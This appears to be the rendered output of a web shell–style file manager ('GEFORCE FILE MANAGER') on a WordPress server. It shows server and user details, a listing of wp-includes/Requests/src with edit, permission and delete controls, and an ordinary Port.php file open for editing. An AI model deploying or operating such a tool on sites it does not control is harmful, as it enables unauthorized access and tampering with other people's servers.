[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-includes
/
Requests
/
src
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 Auth
SET
[ DEL ]
📁 Cookie
SET
[ DEL ]
📁 Exception
SET
[ DEL ]
📁 Proxy
SET
[ DEL ]
📁 Response
SET
[ DEL ]
📁 Transport
SET
[ DEL ]
📁 Utility
SET
[ DEL ]
📄 Auth.php
860 B
SET
[ EDIT ]
|
[ DEL ]
📄 Autoload.php
9,335 B
SET
[ EDIT ]
|
[ DEL ]
📄 Capability.php
652 B
SET
[ EDIT ]
|
[ DEL ]
📄 Cookie.php
15,389 B
SET
[ EDIT ]
|
[ DEL ]
📄 Exception.php
1,114 B
SET
[ EDIT ]
|
[ DEL ]
📄 HookManager.php
709 B
SET
[ EDIT ]
|
[ DEL ]
📄 Hooks.php
3,032 B
SET
[ EDIT ]
|
[ DEL ]
📄 IdnaEncoder.php
12,435 B
SET
[ EDIT ]
|
[ DEL ]
📄 Ipv6.php
5,639 B
SET
[ EDIT ]
|
[ DEL ]
📄 Iri.php
29,622 B
SET
[ EDIT ]
|
[ DEL ]
📄 Port.php
1,505 B
SET
[ EDIT ]
|
[ DEL ]
📄 Proxy.php
867 B
SET
[ EDIT ]
|
[ DEL ]
📄 Requests.php
34,001 B
SET
[ EDIT ]
|
[ DEL ]
📄 Response.php
4,281 B
SET
[ EDIT ]
|
[ DEL ]
📄 Session.php
9,107 B
SET
[ EDIT ]
|
[ DEL ]
📄 Ssl.php
5,425 B
SET
[ EDIT ]
|
[ DEL ]
📄 Transport.php
1,544 B
SET
[ EDIT ]
|
[ DEL ]
📄 database.php
943 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Port.php
<?php /** * Port utilities for Requests * * @package Requests\Utilities * @since 2.0.0 */ namespace WpOrg\Requests; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; /** * Find the correct port depending on the Request type. * * @package Requests\Utilities * @since 2.0.0 */ final class Port { /** * Port to use with Acap requests. * * @var int */ const ACAP = 674; /** * Port to use with Dictionary requests. * * @var int */ const DICT = 2628; /** * Port to use with HTTP requests. * * @var int */ const HTTP = 80; /** * Port to use with HTTP over SSL requests. * * @var int */ const HTTPS = 443; /** * Retrieve the port number to use. * * @param string $type Request type. * The following requests types are supported: * 'acap', 'dict', 'http' and 'https'. * * @return int * * @throws \WpOrg\Requests\Exception\InvalidArgument When a non-string input has been passed. * @throws \WpOrg\Requests\Exception When a non-supported port is requested ('portnotsupported'). */ public static function get($type) { if (!is_string($type)) { throw InvalidArgument::create(1, '$type', 'string', gettype($type)); } $type = strtoupper($type); if (!defined("self::{$type}")) { $message = sprintf('Invalid port type (%s) passed', $type); throw new Exception($message, 'portnotsupported'); } return constant("self::{$type}"); } }